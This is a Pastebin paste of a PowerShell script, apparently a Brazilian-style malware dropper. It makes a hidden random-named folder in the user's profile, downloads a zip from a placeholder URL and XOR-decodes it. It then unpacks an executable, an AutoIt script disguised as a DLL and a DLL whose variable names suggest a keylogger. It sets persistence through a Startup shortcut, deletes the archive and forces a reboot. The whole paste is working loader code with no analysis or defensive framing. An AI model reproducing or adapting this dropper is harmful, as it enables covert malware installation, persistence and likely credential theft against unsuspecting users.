Advertisement
imagemdel

cham-exe-certificado

May 16th, 2019
214
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.60 KB | None | 0 0
  1. $strCaminhoArquivoLog = "$env:TEMP\$([System.DateTime]::Now.ToString('yyyyMMdd'))"
  2. $bExisteArquivoLog = [System.IO.File]::Exists($strCaminhoArquivoLog)
  3.  
  4. function gera-strrand
  5. {
  6. -join ((65..90) + (97..122) | Get-Random -Count $args[0] | % {[char]$_})
  7. }
  8.  
  9. if (-Not $bExisteArquivoLog)
  10. {
  11. "" | Set-Content $strCaminhoArquivoLog
  12.  
  13. $NomePasta = gera-strrand 3
  14. $Directory = "." + $NomePasta
  15.  
  16. $array = (0..6)
  17. $array[0] = [environment]::getfolderpath("MyDocuments")
  18. $array[1] = [environment]::getfolderpath("MyMusic")
  19. $array[2] = [environment]::getfolderpath("MyPictures")
  20. $array[3] = [environment]::getfolderpath("Templates")
  21. $array[4] = "$env:USERPROFILE\Microsoft\Windows"
  22. $array[5] = "$env:USERPROFILE\Microsoft\ProgramData"
  23. $array[6] = "$env:USERPROFILE\Microsoft"
  24.  
  25. $Num = Get-Random -Maximum 6
  26.  
  27. $strCaminhoPastaCaixa = $array[$Num] + "\" + $Directory + "\"
  28.  
  29. New-Item -ItemType directory -Path $strCaminhoPastaCaixa
  30.  
  31. $strCaminhoCaixaZipada = gera-strrand 8
  32.  
  33. $strCaminhoCaixaZipada = "$strCaminhoPastaCaixa$strCaminhoCaixaZipada.zip"
  34.  
  35. $strUrlCaixaZipada = "AXXXXXXXXXA"
  36.  
  37. (New-Object System.Net.WebClient).DownloadFile($strUrlCaixaZipada, $strCaminhoCaixaZipada)
  38.  
  39. $objBytesCaixaZipada = [System.IO.File]::ReadAllBytes($strCaminhoCaixaZipada)
  40. for($i=0; $i -lt $objBytesCaixaZipada.count; $i++)
  41. {
  42. $objBytesCaixaZipada[$i] = $objBytesCaixaZipada[$i] -bxor 0x91
  43. }
  44. [System.IO.File]::WriteAllBytes($strCaminhoCaixaZipada,$objBytesCaixaZipada)
  45.  
  46. $objArrayArqsZip = New-Object System.Collections.ArrayList
  47. $objShelApplication = New-Object -com shell.application
  48. $objArquivoZipado = $objShelApplication.NameSpace($strCaminhoCaixaZipada)
  49.  
  50. foreach($item in $objArquivoZipado.items())
  51. {
  52. $objShelApplication.Namespace($strCaminhoPastaCaixa).copyhere($item, 0x14)
  53. $objArrayArqsZip.Add($item.name)
  54. }
  55.  
  56. $strNomeModuloDllKl = "imgengine"
  57. $strExtModuloDllKl = "dll"
  58. $strNomeModuloDllKl = $strNomeModuloDllKl + "." + $strExtModuloDllKl
  59. $strPathModuloDllKl = $strCaminhoPastaCaixa + $strNomeModuloDllKl
  60.  
  61. $strNomeModuloExecutor = gera-strrand 5
  62. $strNomeModuloExecutor = $strNomeModuloExecutor + ".exe"
  63. $strPathModuloExecutor = $strCaminhoPastaCaixa + $strNomeModuloExecutor
  64.  
  65. $strNomeScriptAutoIt = "sptdintf.dll"
  66. $strPathScriptAutoIt = $strCaminhoPastaCaixa + $strNomeScriptAutoIt
  67.  
  68. foreach ($element in $objArrayArqsZip)
  69. {
  70. $NomeArquivo = (Get-Item "$strCaminhoPastaCaixa$element").Name
  71. if ($NomeArquivo -eq "1")
  72. {
  73. Rename-Item -Path "$strCaminhoPastaCaixa$element" -NewName $strPathModuloExecutor
  74. }
  75. elseif ($NomeArquivo -eq "2")
  76. {
  77. Rename-Item -Path "$strCaminhoPastaCaixa$element" -NewName $strPathScriptAutoIt
  78. }
  79. elseif ($NomeArquivo -eq "3")
  80. {
  81. Rename-Item -Path "$strCaminhoPastaCaixa$element" -NewName $strPathModuloDllKl
  82. }
  83. }
  84.  
  85. Start-Sleep -s 5
  86. Remove-Item -Path $strCaminhoCaixaZipada -Force
  87.  
  88. $strNomeLNK = $env:UserName
  89.  
  90. $objShell = New-Object -ComObject ("WScript.Shell")
  91. $startup = [environment]::getfolderpath("Startup")
  92.  
  93. $objShortCut = $objShell.CreateShortcut($startup + "\" + $strNomeLNK + ".lnk")
  94. $objShortCut.TargetPath = $strPathModuloExecutor
  95. $objShortCut.Arguments = ""
  96. $objShortCut.WorkingDirectory = $strCaminhoPastaCaixa
  97. $objShortCut.WindowStyle = 1
  98. $objShortCut.Hotkey = "CTRL+SHIFT+F"
  99. $objShortCut.IconLocation = "Shell32.dll, 29";
  100. $objShortCut.Description = gera-strrand 50
  101. $objShortCut.Save()
  102.  
  103. Restart-Computer -F
  104.  
  105. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement